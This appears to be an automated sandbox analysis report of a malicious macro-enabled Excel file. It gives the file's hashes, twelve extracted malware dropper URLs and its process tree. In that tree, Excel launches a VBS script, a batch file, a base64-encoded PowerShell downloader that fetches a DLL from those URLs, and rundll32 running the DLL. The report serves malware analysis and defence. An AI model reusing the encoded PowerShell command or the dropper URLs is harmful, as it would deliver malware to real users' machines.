Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 08:08

General

  • Target

    e134be8e8d06750e35aa40bd07f803f10b81771922b3359bad340c42ea515d69.xlsm

  • Size

    115KB

  • MD5

    534f748768d017ec412010dcd80c5f77

  • SHA1

    1dba2090898f93011ea24d4f9ec8c128be1c41de

  • SHA256

    e134be8e8d06750e35aa40bd07f803f10b81771922b3359bad340c42ea515d69

  • SHA512

    3c51d968e34f715e062d115aabbdf50a74af50cf6837ad90be613ab94bd496e0b092659be99c9fb74f3c9ca5968bb1f56159301143a0ae3d1f1468c2b8051537

  • SSDEEP

    3072:FG1t/xnW4LcRtaXR3KUtE4sYzOXPN1Cqj:Fi/RdL8e3KU5skOX/X

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://sumedhaonline.com/wp-content/HyzNXJ30XOQVcBSRH/

exe.dropper

http://divachintextiles.com/wp-includes/WWhWRKs8KvzNFm6/

exe.dropper

http://hotelandamalabo.com/1520/bUdhEPdf/

exe.dropper

http://shwenantawwin.com/copma/XTnZIi02vfVblK7/

exe.dropper

http://tan4j.com/wp-content/languages/yOI5h8uoRe/

exe.dropper

https://khibra-academy.com/wp-content/c1dR8wP4OdhzApHn/

exe.dropper

https://dwwmaster.com/wp-content/W7XGpodRs5kYvnV/

exe.dropper

http://edinsonjhernandez.net/wp-content/vndSGB/

exe.dropper

https://stayathomeamerica.com/wp-content/nrQWW/

exe.dropper

http://quetzalgt.coffee/images/B5WUc/

exe.dropper

http://edinsonjhernandez.info/wp-content/BaazJljahSR2/

exe.dropper

http://xn--90agbba9adnzt3i.com/ALFA_DATA/ucCbi6G/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\e134be8e8d06750e35aa40bd07f803f10b81771922b3359bad340c42ea515d69.xlsm
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2124
    • C:\Windows\SysWOW64\wscript.exe
      wscript c:\programdata\tghklsd.vbs
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2432
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\programdata\jledshf.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1476
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAHMAdQBtAGUAZABoAGEAbwBuAGwAaQBuAGUALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBIAHkAegBOAFgASgAzADAAWABPAFEAVgBjAEIAUwBSAEgALwAsAGgAdAB0AHAAOgAvAC8AZABpAHYAYQBjAGgAaQBuAHQAZQB4AHQAaQBsAGUAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AVwBXAGgAVwBSAEsAcwA4AEsAdgB6AE4ARgBtADYALwAsAGgAdAB0AHAAOgAvAC8AaABvAHQAZQBsAGEAbgBkAGEAbQBhAGwAYQBiAG8ALgBjAG8AbQAvADEANQAyADAALwBiAFUAZABoAEUAUABkAGYALwAsAGgAdAB0AHAAOgAvAC8AcwBoAHcAZQBuAGEAbgB0AGEAdwB3AGkAbgAuAGMAbwBtAC8AYwBvAHAAbQBhAC8AWABUAG4AWgBJAGkAMAAyAHYAZgBWAGIAbABLADcALwAsAGgAdAB0AHAAOgAvAC8AdABhAG4ANABqAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbABhAG4AZwB1AGEAZwBlAHMALwB5AE8ASQA1AGgAOAB1AG8AUgBlAC8ALABoAHQAdABwAHMAOgAvAC8AawBoAGkAYgByAGEALQBhAGMAYQBkAGUAbQB5AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AYwAxAGQAUgA4AHcAUAA0AE8AZABoAHoAQQBwAEgAbgAvACwAaAB0AHQAcABzADoALwAvAGQAdwB3AG0AYQBzAHQAZQByAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AVwA3AFgARwBwAG8AZABSAHMANQBrAFkAdgBuAFYALwAsAGgAdAB0AHAAOgAvAC8AZQBkAGkAbgBzAG8AbgBqAGgAZQByAG4AYQBuAGQAZQB6AC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdgBuAGQAUwBHAEIALwAsAGgAdAB0AHAAcwA6AC8ALwBzAHQAYQB5AGEAdABoAG8AbQBlAGEAbQBlAHIAaQBjAGEALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBuAHIAUQBXAFcALwAsAGgAdAB0AHAAOgAvAC8AcQB1AGUAdAB6AGEAbABnAHQALgBjAG8AZgBmAGUAZQAvAGkAbQBhAGcAZQBzAC8AQgA1AFcAVQBjAC8ALABoAHQAdABwADoALwAvAGUAZABpAG4AcwBvAG4AagBoAGUAcgBuAGEAbgBkAGUAegAuAGkAbgBmAG8ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AQgBhAGEAegBKAGwAagBhAGgAUwBSADIALwAsAGgAdAB0AHAAOgAvAC8AeABuAC0ALQA5ADAAYQBnAGIAYgBhADkAYQBkAG4AegB0ADMAaQAuAGMAbwBtAC8AQQBMAEYAQQBfAEQAQQBUAEEALwB1AGMAQwBiAGkANgBHAC8AIgAuAHMAcABMAGkAVAAoACIALAAiACkAOwBmAE8AcgBlAGEAQwBoACgAJABqAGQAdABGAEoAZABYAGgAcgA2AHQAeAB5AGgAZAAgAGkAbgAgACQAagBlAG8AbABpAHMAZQAzAFIAaABnAEQAWgBTADQAYwBkAGYAZwApAHsAJAByAGgAeQBrAGEAagBkAGgAZgBzADcAaQBkAGYAZwBkAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAB2AGIAawB3AGsALgBkAGwAbAAiADsAaQBOAHYATwBrAGUALQB3AEUAYgByAGUAUQB1AGUAcwBUACAALQB1AFIAaQAgACQAagBkAHQARgBKAGQAWABoAHIANgB0AHgAeQBoAGQAIAAtAG8AdQBUAGYAaQBMAGUAIAAkAHIAaAB5AGsAYQBqAGQAaABmAHMANwBpAGQAZgBnAGQAOwAgAGkAZgAoAHQAZQBzAHQALQBwAEEAdABIACAAJAByAGgAeQBrAGEAagBkAGgAZgBzADcAaQBkAGYAZwBkACkAewBpAGYAKAAoAGcAZQB0AC0AaQBUAGUAbQAgACQAcgBoAHkAawBhAGoAZABoAGYAcwA3AGkAZABmAGcAZAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADQANQAwADAAMAApAHsAYgByAGUAYQBrADsAfQB9AH0A
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2980
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1484
        • \??\c:\windows\syswow64\rundll32.exe
          c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2700

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\programdata\jledshf.bat

    Filesize

    3KB

    MD5

    164532c6f8dbac93f02a741fbd0c71b9

    SHA1

    1fbb6f6e2ecc5626c8879b1af15cdff88414a72b

    SHA256

    b463e24cd165d84616c6db6130623de399ee544e1bc9f929f8a7fa6b6841dd47

    SHA512

    655e3ae1ca46aa4c9efb9ff8d78afd3580875aae59e4c5d57cb0a4dee46515e9f77dc79284c7352c96353ca20e09293a0343d168a66c1ce1794dbb958d4bb31d

  • \??\c:\programdata\tghklsd.vbs

    Filesize

    561B

    MD5

    87a9c41dc3e67b9b0b6cdb367d4858bd

    SHA1

    00f117f9a02dad3c127b2c607ead43300c2bebbe

    SHA256

    f0b09a17f07b03b8cfe1969f84fcfb96933439707fa86ba8aa79181145512e18

    SHA512

    7373ca3127a1baf85e3cc6beb7b046788132b1bb388405657cb924435386d186a2645971128dc582a970242c4a3dfdc7fcce78ed158b0d430c96bbd18686f1dd

  • memory/2124-71-0x0000000006AE0000-0x0000000006BE0000-memory.dmp

    Filesize

    1024KB

  • memory/2124-76-0x0000000000700000-0x0000000000800000-memory.dmp

    Filesize

    1024KB

  • memory/2124-8-0x0000000000700000-0x0000000000800000-memory.dmp

    Filesize

    1024KB

  • memory/2124-7-0x0000000000700000-0x0000000000800000-memory.dmp

    Filesize

    1024KB

  • memory/2124-4-0x0000000000700000-0x0000000000800000-memory.dmp

    Filesize

    1024KB

  • memory/2124-3-0x0000000000700000-0x0000000000800000-memory.dmp

    Filesize

    1024KB

  • memory/2124-6-0x0000000000700000-0x0000000000800000-memory.dmp

    Filesize

    1024KB

  • memory/2124-12-0x0000000000700000-0x0000000000800000-memory.dmp

    Filesize

    1024KB

  • memory/2124-14-0x0000000000700000-0x0000000000800000-memory.dmp

    Filesize

    1024KB

  • memory/2124-13-0x0000000000700000-0x0000000000800000-memory.dmp

    Filesize

    1024KB

  • memory/2124-42-0x0000000006AE0000-0x0000000006BE0000-memory.dmp

    Filesize

    1024KB

  • memory/2124-11-0x0000000000700000-0x0000000000800000-memory.dmp

    Filesize

    1024KB

  • memory/2124-10-0x0000000000700000-0x0000000000800000-memory.dmp

    Filesize

    1024KB

  • memory/2124-44-0x0000000006AE0000-0x0000000006BE0000-memory.dmp

    Filesize

    1024KB

  • memory/2124-9-0x0000000006DE0000-0x0000000006EE0000-memory.dmp

    Filesize

    1024KB

  • memory/2124-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2124-74-0x0000000000700000-0x0000000000800000-memory.dmp

    Filesize

    1024KB

  • memory/2124-1-0x000000007254D000-0x0000000072558000-memory.dmp

    Filesize

    44KB

  • memory/2124-78-0x0000000006AE0000-0x0000000006BE0000-memory.dmp

    Filesize

    1024KB

  • memory/2124-77-0x0000000000700000-0x0000000000800000-memory.dmp

    Filesize

    1024KB

  • memory/2124-73-0x0000000000700000-0x0000000000800000-memory.dmp

    Filesize

    1024KB

  • memory/2124-75-0x0000000000700000-0x0000000000800000-memory.dmp

    Filesize

    1024KB

  • memory/2124-5-0x0000000000700000-0x0000000000800000-memory.dmp

    Filesize

    1024KB

  • memory/2124-72-0x0000000000700000-0x0000000000800000-memory.dmp

    Filesize

    1024KB

  • memory/2124-83-0x000000007254D000-0x0000000072558000-memory.dmp

    Filesize

    44KB

  • memory/2124-84-0x0000000000700000-0x0000000000800000-memory.dmp

    Filesize

    1024KB

  • memory/2124-85-0x0000000006AE0000-0x0000000006BE0000-memory.dmp

    Filesize

    1024KB

  • memory/2124-86-0x0000000006AE0000-0x0000000006BE0000-memory.dmp

    Filesize

    1024KB

  • memory/2124-87-0x0000000006AE0000-0x0000000006BE0000-memory.dmp

    Filesize

    1024KB

  • memory/2124-88-0x0000000000700000-0x0000000000800000-memory.dmp

    Filesize

    1024KB